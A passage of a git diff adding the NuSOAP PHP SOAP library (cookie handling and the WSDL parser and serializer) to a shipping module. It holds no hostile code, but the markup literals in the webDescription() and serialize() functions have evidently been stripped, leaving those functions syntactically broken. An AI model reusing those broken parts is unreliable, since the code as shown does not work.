getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current request. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current request. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /* + * whether or not parser should decode utf8 element content + * + * @return always returns true + * @access public + */ + function decodeUTF8($bool){ + $this->decode_utf8 = $bool; + return true; + } + + /** + * adds a new Cookie into $this->cookies array + * + * @param string $name Cookie Name + * @param string $value Cookie Value + * @return boolean if cookie-set was successful returns true, else false + * @access public + */ + function setCookie($name, $value) { + if (strlen($name) == 0) { + return false; + } + $this->cookies[] = array('name' => $name, 'value' => $value); + return true; + } + + /** + * gets all Cookies + * + * @return array with all internal cookies + * @access public + */ + function getCookies() { + return $this->cookies; + } + + /** + * checks all Cookies and delete those which are expired + * + * @return boolean always return true + * @access private + */ + function checkCookies() { + if (sizeof($this->cookies) == 0) { + return true; + } + $this->debug('checkCookie: check ' . sizeof($this->cookies) . ' cookies'); + $curr_cookies = $this->cookies; + $this->cookies = array(); + foreach ($curr_cookies as $cookie) { + if (! is_array($cookie)) { + $this->debug('Remove cookie that is not an array'); + continue; + } + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) > time()) { + $this->cookies[] = $cookie; + } else { + $this->debug('Remove expired cookie ' . $cookie['name']); + } + } else { + $this->cookies[] = $cookie; + } + } + $this->debug('checkCookie: '.sizeof($this->cookies).' cookies left in array'); + return true; + } + + /** + * updates the current cookies with a new set + * + * @param array $cookies new cookies with which to update current ones + * @return boolean always return true + * @access private + */ + function UpdateCookies($cookies) { + if (sizeof($this->cookies) == 0) { + // no existing cookies: take whatever is new + if (sizeof($cookies) > 0) { + $this->debug('Setting new cookie(s)'); + $this->cookies = $cookies; + } + return true; + } + if (sizeof($cookies) == 0) { + // no new cookies: keep what we've got + return true; + } + // merge + foreach ($cookies as $newCookie) { + if (!is_array($newCookie)) { + continue; + } + if ((!isset($newCookie['name'])) || (!isset($newCookie['value']))) { + continue; + } + $newName = $newCookie['name']; + + $found = false; + for ($i = 0; $i < count($this->cookies); $i++) { + $cookie = $this->cookies[$i]; + if (!is_array($cookie)) { + continue; + } + if (!isset($cookie['name'])) { + continue; + } + if ($newName != $cookie['name']) { + continue; + } + $newDomain = isset($newCookie['domain']) ? $newCookie['domain'] : 'NODOMAIN'; + $domain = isset($cookie['domain']) ? $cookie['domain'] : 'NODOMAIN'; + if ($newDomain != $domain) { + continue; + } + $newPath = isset($newCookie['path']) ? $newCookie['path'] : 'NOPATH'; + $path = isset($cookie['path']) ? $cookie['path'] : 'NOPATH'; + if ($newPath != $path) { + continue; + } + $this->cookies[$i] = $newCookie; + $found = true; + $this->debug('Update cookie ' . $newName . '=' . $newCookie['value']); + break; + } + if (! $found) { + $this->debug('Add cookie ' . $newName . '=' . $newCookie['value']); + $this->cookies[] = $newCookie; + } + } + return true; + } +} + +if (!extension_loaded('soap')) { + /** + * For backwards compatiblity, define soapclient unless the PHP SOAP extension is loaded. + */ + class soapclient extends nusoap_client { + } +} +?> diff --git a/modules/mondialrelay2/lib/nusoap/class.wsdl.php b/modules/mondialrelay2/lib/nusoap/class.wsdl.php new file mode 100755 index 0000000..58fdb20 --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.wsdl.php @@ -0,0 +1,1937 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class wsdl extends nusoap_base { + // URL or filename of the root of this WSDL + var $wsdl; + // define internal arrays of bindings, ports, operations, messages, etc. + var $schemas = array(); + var $currentSchema; + var $message = array(); + var $complexTypes = array(); + var $messages = array(); + var $currentMessage; + var $currentOperation; + var $portTypes = array(); + var $currentPortType; + var $bindings = array(); + var $currentBinding; + var $ports = array(); + var $currentPort; + var $opData = array(); + var $status = ''; + var $documentation = false; + var $endpoint = ''; + // array of wsdl docs to import + var $import = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + // for getting wsdl + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $timeout = 0; + var $response_timeout = 30; + var $curl_options = array(); // User-specified cURL options + var $use_curl = false; // whether to always try to use cURL + // for HTTP authentication + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + + /** + * constructor + * + * @param string $wsdl WSDL document URL + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param array $curl_options user-specified cURL options + * @param boolean $use_curl try to use cURL + * @access public + */ + function wsdl($wsdl = '',$proxyhost=false,$proxyport=false,$proxyusername=false,$proxypassword=false,$timeout=0,$response_timeout=30,$curl_options=null,$use_curl=false){ + parent::nusoap_base(); + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + if (is_array($curl_options)) + $this->curl_options = $curl_options; + $this->use_curl = $use_curl; + $this->fetchWSDL($wsdl); + } + + /** + * fetches the WSDL document and parses it + * + * @access public + */ + function fetchWSDL($wsdl) { + $this->debug("parse and process WSDL path=$wsdl"); + $this->wsdl = $wsdl; + // parse wsdl file + if ($this->wsdl != "") { + $this->parseWSDL($this->wsdl); + } + // imports + // TODO: handle imports more properly, grabbing them in-line and nesting them + $imported_urls = array(); + $imported = 1; + while ($imported > 0) { + $imported = 0; + // Schema imports + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($xs->imports as $ns2 => $list2) { + for ($ii = 0; $ii < count($list2); $ii++) { + if (! $list2[$ii]['loaded']) { + $this->schemas[$ns]->imports[$ns2][$ii]['loaded'] = true; + $url = $list2[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' .$wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + } + // WSDL imports + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($this->import as $ns => $list) { + for ($ii = 0; $ii < count($list); $ii++) { + if (! $list[$ii]['loaded']) { + $this->import[$ns][$ii]['loaded'] = true; + $url = $list[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' . $wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + // add new data to operation data + foreach($this->bindings as $binding => $bindingData) { + if (isset($bindingData['operations']) && is_array($bindingData['operations'])) { + foreach($bindingData['operations'] as $operation => $data) { + $this->debug('post-parse data gathering for ' . $operation); + $this->bindings[$binding]['operations'][$operation]['input'] = + isset($this->bindings[$binding]['operations'][$operation]['input']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['input'], $this->portTypes[ $bindingData['portType'] ][$operation]['input']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['input']; + $this->bindings[$binding]['operations'][$operation]['output'] = + isset($this->bindings[$binding]['operations'][$operation]['output']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['output'], $this->portTypes[ $bindingData['portType'] ][$operation]['output']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['output']; + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ]; + } + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ]; + } + // Set operation style if necessary, but do not override one already provided + if (isset($bindingData['style']) && !isset($this->bindings[$binding]['operations'][$operation]['style'])) { + $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style']; + } + $this->bindings[$binding]['operations'][$operation]['transport'] = isset($bindingData['transport']) ? $bindingData['transport'] : ''; + $this->bindings[$binding]['operations'][$operation]['documentation'] = isset($this->portTypes[ $bindingData['portType'] ][$operation]['documentation']) ? $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'] : ''; + $this->bindings[$binding]['operations'][$operation]['endpoint'] = isset($bindingData['endpoint']) ? $bindingData['endpoint'] : ''; + } + } + } + } + + /** + * parses the wsdl document + * + * @param string $wsdl path or URL + * @access private + */ + function parseWSDL($wsdl = '') { + $this->debug("parse WSDL at path=$wsdl"); + + if ($wsdl == '') { + $this->debug('no wsdl passed to parseWSDL()!!'); + $this->setError('no wsdl passed to parseWSDL()!!'); + return false; + } + + // parse $wsdl for url format + $wsdl_props = parse_url($wsdl); + + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'http' || $wsdl_props['scheme'] == 'https')) { + $this->debug('getting WSDL http(s) URL ' . $wsdl); + // get wsdl + $tr = new soap_transport_http($wsdl, $this->curl_options, $this->use_curl); + $tr->request_method = 'GET'; + $tr->useSOAPAction = false; + if($this->proxyhost && $this->proxyport){ + $tr->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if ($this->authtype != '') { + $tr->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + $tr->setEncoding('gzip, deflate'); + $wsdl_string = $tr->send('', $this->timeout, $this->response_timeout); + //$this->debug("WSDL request\n" . $tr->outgoing_payload); + //$this->debug("WSDL response\n" . $tr->incoming_payload); + $this->appendDebug($tr->getDebug()); + // catch errors + if($err = $tr->getError() ){ + $errstr = 'Getting ' . $wsdl . ' - HTTP ERROR: '.$err; + $this->debug($errstr); + $this->setError($errstr); + unset($tr); + return false; + } + unset($tr); + $this->debug("got WSDL URL"); + } else { + // $wsdl is not http(s), so treat it as a file URL or plain file path + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'file') && isset($wsdl_props['path'])) { + $path = isset($wsdl_props['host']) ? ($wsdl_props['host'] . ':' . $wsdl_props['path']) : $wsdl_props['path']; + } else { + $path = $wsdl; + } + $this->debug('getting WSDL file ' . $path); + if ($fp = @fopen($path, 'r')) { + $wsdl_string = ''; + while ($data = fread($fp, 32768)) { + $wsdl_string .= $data; + } + fclose($fp); + } else { + $errstr = "Bad path to WSDL file $path"; + $this->debug($errstr); + $this->setError($errstr); + return false; + } + } + $this->debug('Parse WSDL'); + // end new code added + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + // xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element', 'end_element'); + xml_set_character_data_handler($this->parser, 'character_data'); + // Parse the XML file. + if (!xml_parse($this->parser, $wsdl_string, true)) { + // Display an error message. + $errstr = sprintf( + 'XML error parsing WSDL from %s on line %d: %s', + $wsdl, + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $wsdl_string); + $this->setError($errstr); + return false; + } + // free the parser + xml_parser_free($this->parser); + $this->debug('Parsing WSDL done'); + // catch wsdl parse errors + if($this->getError()){ + return false; + } + return true; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) + { + if ($this->status == 'schema') { + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } elseif (preg_match('/schema$/', $name)) { + $this->debug('Parsing WSDL schema'); + // $this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")"); + $this->status = 'schema'; + $this->currentSchema = new nusoap_xmlschema('', '', $this->namespaces); + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } else { + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + // process attributes + if (count($attrs) > 0) { + // register namespace declarations + foreach($attrs as $k => $v) { + if (preg_match('/^xmlns/',$k)) { + if ($ns_prefix = substr(strrchr($k, ':'), 1)) { + $this->namespaces[$ns_prefix] = $v; + } else { + $this->namespaces['ns' . (count($this->namespaces) + 1)] = $v; + } + if ($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema') { + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v . '-instance'; + } + } + } + // expand each attribute prefix to its namespace + foreach($attrs as $k => $v) { + $k = strpos($k, ':') ? $this->expandQname($k) : $k; + if ($k != 'location' && $k != 'soapAction' && $k != 'namespace') { + $v = strpos($v, ':') ? $this->expandQname($v) : $v; + } + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // get element prefix, namespace and name + if (preg_match('/:/', $name)) { + // get ns prefix + $prefix = substr($name, 0, strpos($name, ':')); + // get ns + $namespace = isset($this->namespaces[$prefix]) ? $this->namespaces[$prefix] : ''; + // get unqualified name + $name = substr(strstr($name, ':'), 1); + } + // process attributes, expanding any prefixes to namespaces + // find status, register data + switch ($this->status) { + case 'message': + if ($name == 'part') { + if (isset($attrs['type'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with type) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['type']; + } + if (isset($attrs['element'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with element) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['element'] . '^'; + } + } + break; + case 'portType': + switch ($name) { + case 'operation': + $this->currentPortOperation = $attrs['name']; + $this->debug("portType $this->currentPortType operation: $this->currentPortOperation"); + if (isset($attrs['parameterOrder'])) { + $this->portTypes[$this->currentPortType][$attrs['name']]['parameterOrder'] = $attrs['parameterOrder']; + } + break; + case 'documentation': + $this->documentation = true; + break; + // merge input/output data + default: + $m = isset($attrs['message']) ? $this->getLocalPart($attrs['message']) : ''; + $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $m; + break; + } + break; + case 'binding': + switch ($name) { + case 'binding': + // get ns prefix + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['prefix'] = $prefix; + } + $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding], $attrs); + break; + case 'header': + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs; + break; + case 'operation': + if (isset($attrs['soapAction'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction']; + } + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style']; + } + if (isset($attrs['name'])) { + $this->currentOperation = $attrs['name']; + $this->debug("current binding operation: $this->currentOperation"); + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name']; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = isset($this->bindings[$this->currentBinding]['endpoint']) ? $this->bindings[$this->currentBinding]['endpoint'] : ''; + } + break; + case 'input': + $this->opStatus = 'input'; + break; + case 'output': + $this->opStatus = 'output'; + break; + case 'body': + if (isset($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus], $attrs); + } else { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = $attrs; + } + break; + } + break; + case 'service': + switch ($name) { + case 'port': + $this->currentPort = $attrs['name']; + $this->debug('current port: ' . $this->currentPort); + $this->ports[$this->currentPort]['binding'] = $this->getLocalPart($attrs['binding']); + + break; + case 'address': + $this->ports[$this->currentPort]['location'] = $attrs['location']; + $this->ports[$this->currentPort]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location']; + break; + } + break; + } + // set status + switch ($name) { + case 'import': + if (isset($attrs['location'])) { + $this->import[$attrs['namespace']][] = array('location' => $attrs['location'], 'loaded' => false); + $this->debug('parsing import ' . $attrs['namespace']. ' - ' . $attrs['location'] . ' (' . count($this->import[$attrs['namespace']]).')'); + } else { + $this->import[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + $this->debug('parsing import ' . $attrs['namespace']. ' - [no location] (' . count($this->import[$attrs['namespace']]).')'); + } + break; + //wait for schema + //case 'types': + // $this->status = 'schema'; + // break; + case 'message': + $this->status = 'message'; + $this->messages[$attrs['name']] = array(); + $this->currentMessage = $attrs['name']; + break; + case 'portType': + $this->status = 'portType'; + $this->portTypes[$attrs['name']] = array(); + $this->currentPortType = $attrs['name']; + break; + case "binding": + if (isset($attrs['name'])) { + // get binding name + if (strpos($attrs['name'], ':')) { + $this->currentBinding = $this->getLocalPart($attrs['name']); + } else { + $this->currentBinding = $attrs['name']; + } + $this->status = 'binding'; + $this->bindings[$this->currentBinding]['portType'] = $this->getLocalPart($attrs['type']); + $this->debug("current binding: $this->currentBinding of portType: " . $attrs['type']); + } + break; + case 'service': + $this->serviceName = $attrs['name']; + $this->status = 'service'; + $this->debug('current service: ' . $this->serviceName); + break; + case 'definitions': + foreach ($attrs as $name => $value) { + $this->wsdl_info[$name] = $value; + } + break; + } + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name){ + // unset schema status + if (/*preg_match('/types$/', $name) ||*/ preg_match('/schema$/', $name)) { + $this->status = ""; + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + $this->schemas[$this->currentSchema->schemaTargetNamespace][] = $this->currentSchema; + $this->debug('Parsing WSDL schema done'); + } + if ($this->status == 'schema') { + $this->currentSchema->schemaEndElement($parser, $name); + } else { + // bring depth down a notch + $this->depth--; + } + // end documentation + if ($this->documentation) { + //TODO: track the node to which documentation should be assigned; it can be a part, message, etc. + //$this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation; + $this->documentation = false; + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data) + { + $pos = isset($this->depth_array[$this->depth]) ? $this->depth_array[$this->depth] : 0; + if (isset($this->message[$pos]['cdata'])) { + $this->message[$pos]['cdata'] .= $data; + } + if ($this->documentation) { + $this->documentation .= $data; + } + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + function getBindingData($binding) + { + if (is_array($this->bindings[$binding])) { + return $this->bindings[$binding]; + } + } + + /** + * returns an assoc array of operation names => operation data + * + * @param string $portName WSDL port name + * @param string $bindingType eg: soap, smtp, dime (only soap and soap12 are currently supported) + * @return array + * @access public + */ + function getOperations($portName = '', $bindingType = 'soap') { + $ops = array(); + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } else { + $this->debug("getOperations bindingType $bindingType may not be supported"); + } + $this->debug("getOperations for port '$portName' bindingType $bindingType"); + // loop thru ports + foreach($this->ports as $port => $portData) { + $this->debug("getOperations checking port $port bindingType " . $portData['bindingType']); + if ($portName == '' || $port == $portName) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + $this->debug("getOperations found port $port bindingType $bindingType"); + //$this->debug("port data: " . $this->varDump($portData)); + //$this->debug("bindings: " . $this->varDump($this->bindings[ $portData['binding'] ])); + // merge bindings + if (isset($this->bindings[ $portData['binding'] ]['operations'])) { + $ops = array_merge ($ops, $this->bindings[ $portData['binding'] ]['operations']); + } + } + } + } + if (count($ops) == 0) { + $this->debug("getOperations found no operations for port '$portName' bindingType $bindingType"); + } + return $ops; + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $operation name of operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationData($operation, $bindingType = 'soap') + { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // get binding + //foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + foreach(array_keys($this->bindings[ $portData['binding'] ]['operations']) as $bOperation) { + // note that we could/should also check the namespace here + if ($operation == $bOperation) { + $opData = $this->bindings[ $portData['binding'] ]['operations'][$operation]; + return $opData; + } + } + } + } + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $soapAction soapAction for operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationDataForSoapAction($soapAction, $bindingType = 'soap') { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // loop through operations for the binding + foreach ($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + if ($opData['soapAction'] == $soapAction) { + return $opData; + } + } + } + } + } + + /** + * returns an array of information about a given type + * returns false if no type exists by the given name + * + * typeDef = array( + * 'elements' => array(), // refs to elements array + * 'restrictionBase' => '', + * 'phpType' => '', + * 'order' => '(sequence|all)', + * 'attrs' => array() // refs to attributes array + * ) + * + * @param string $type the type + * @param string $ns namespace (not prefix) of the type + * @return mixed + * @access public + * @see nusoap_xmlschema + */ + function getTypeDef($type, $ns) { + $this->debug("in getTypeDef: type=$type, ns=$ns"); + if ((! $ns) && isset($this->namespaces['tns'])) { + $ns = $this->namespaces['tns']; + $this->debug("in getTypeDef: type namespace forced to $ns"); + } + if (!isset($this->schemas[$ns])) { + foreach ($this->schemas as $ns0 => $schema0) { + if (strcasecmp($ns, $ns0) == 0) { + $this->debug("in getTypeDef: replacing schema namespace $ns with $ns0"); + $ns = $ns0; + break; + } + } + } + if (isset($this->schemas[$ns])) { + $this->debug("in getTypeDef: have schema for namespace $ns"); + for ($i = 0; $i < count($this->schemas[$ns]); $i++) { + $xs = &$this->schemas[$ns][$i]; + $t = $xs->getTypeDef($type); + $this->appendDebug($xs->getDebug()); + $xs->clearDebug(); + if ($t) { + $this->debug("in getTypeDef: found type $type"); + if (!isset($t['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($t['type'], strrpos($t['type'], ':') + 1); + $ns = substr($t['type'], 0, strrpos($t['type'], ':')); + $etype = $this->getTypeDef($uqType, $ns); + if ($etype) { + $this->debug("found type for [element] $type:"); + $this->debug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $t['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $t['elements'] = $etype['elements']; + } + if (isset($etype['attrs'])) { + $t['attrs'] = $etype['attrs']; + } + } else { + $this->debug("did not find type for [element] $type"); + } + } + return $t; + } + } + $this->debug("in getTypeDef: did not find type $type"); + } else { + $this->debug("in getTypeDef: do not have schema for namespace $ns"); + } + return false; + } + + /** + * prints html description of services + * + * @access private + */ + function webDescription(){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $PHP_SELF = $_SERVER['PHP_SELF']; + } elseif (isset($HTTP_SERVER_VARS)) { + $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + + $b = ' + NuSOAP: '.$this->serviceName.' + + + + +
        +

        +
        '.$this->serviceName.'
        + +
        '; + return $b; + } + + /** + * serialize the parsed wsdl + * + * @param mixed $debug whether to put debug=1 in endpoint URL + * @return string serialization of WSDL + * @access public + */ + function serialize($debug = 0) + { + $xml = ''; + $xml .= "\nnamespaces as $k => $v) { + $xml .= " xmlns:$k=\"$v\""; + } + // 10.9.02 - add poulter fix for wsdl and tns declarations + if (isset($this->namespaces['wsdl'])) { + $xml .= " xmlns=\"" . $this->namespaces['wsdl'] . "\""; + } + if (isset($this->namespaces['tns'])) { + $xml .= " targetNamespace=\"" . $this->namespaces['tns'] . "\""; + } + $xml .= '>'; + // imports + if (sizeof($this->import) > 0) { + foreach($this->import as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= ''; + } else { + $xml .= ''; + } + } + } + } + // types + if (count($this->schemas)>=1) { + $xml .= "\n\n"; + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $xml .= $xs->serializeSchema(); + } + } + $xml .= ''; + } + // messages + if (count($this->messages) >= 1) { + foreach($this->messages as $msgName => $msgParts) { + $xml .= "\n'; + if(is_array($msgParts)){ + foreach($msgParts as $partName => $partType) { + // print 'serializing '.$partType.', sv: '.$this->XMLSchemaVersion.'
        '; + if (strpos($partType, ':')) { + $typePrefix = $this->getPrefixFromNamespace($this->getPrefix($partType)); + } elseif (isset($this->typemap[$this->namespaces['xsd']][$partType])) { + // print 'checking typemap: '.$this->XMLSchemaVersion.'
        '; + $typePrefix = 'xsd'; + } else { + foreach($this->typemap as $ns => $types) { + if (isset($types[$partType])) { + $typePrefix = $this->getPrefixFromNamespace($ns); + } + } + if (!isset($typePrefix)) { + die("$partType has no namespace!"); + } + } + $ns = $this->getNamespaceFromPrefix($typePrefix); + $localPart = $this->getLocalPart($partType); + $typeDef = $this->getTypeDef($localPart, $ns); + if ($typeDef['typeClass'] == 'element') { + $elementortype = 'element'; + if (substr($localPart, -1) == '^') { + $localPart = substr($localPart, 0, -1); + } + } else { + $elementortype = 'type'; + } + $xml .= "\n" . ' '; + } + } + $xml .= '
        '; + } + } + // bindings & porttypes + if (count($this->bindings) >= 1) { + $binding_xml = ''; + $portType_xml = ''; + foreach($this->bindings as $bindingName => $attrs) { + $binding_xml .= "\n'; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n'; + foreach($attrs['operations'] as $opName => $opParts) { + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + if (isset($opParts['input']['encodingStyle']) && $opParts['input']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['input']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + if (isset($opParts['output']['encodingStyle']) && $opParts['output']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['output']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' ' . htmlspecialchars($opParts['documentation']) . ''; + } + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + } + $portType_xml .= "\n" . ''; + $binding_xml .= "\n" . ''; + } + $xml .= $portType_xml . $binding_xml; + } + // services + $xml .= "\nserviceName . '">'; + if (count($this->ports) >= 1) { + foreach($this->ports as $pName => $attrs) { + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + } + } + $xml .= "\n" . ''; + return $xml . "\n"; + } + + /** + * determine whether a set of parameters are unwrapped + * when they are expect to be wrapped, Microsoft-style. + * + * @param string $type the type (element name) of the wrapper + * @param array $parameters the parameter values for the SOAP call + * @return boolean whether they parameters are unwrapped (and should be wrapped) + * @access private + */ + function parametersMatchWrapped($type, &$parameters) { + $this->debug("in parametersMatchWrapped type=$type, parameters="); + $this->appendDebug($this->varDump($parameters)); + + // split 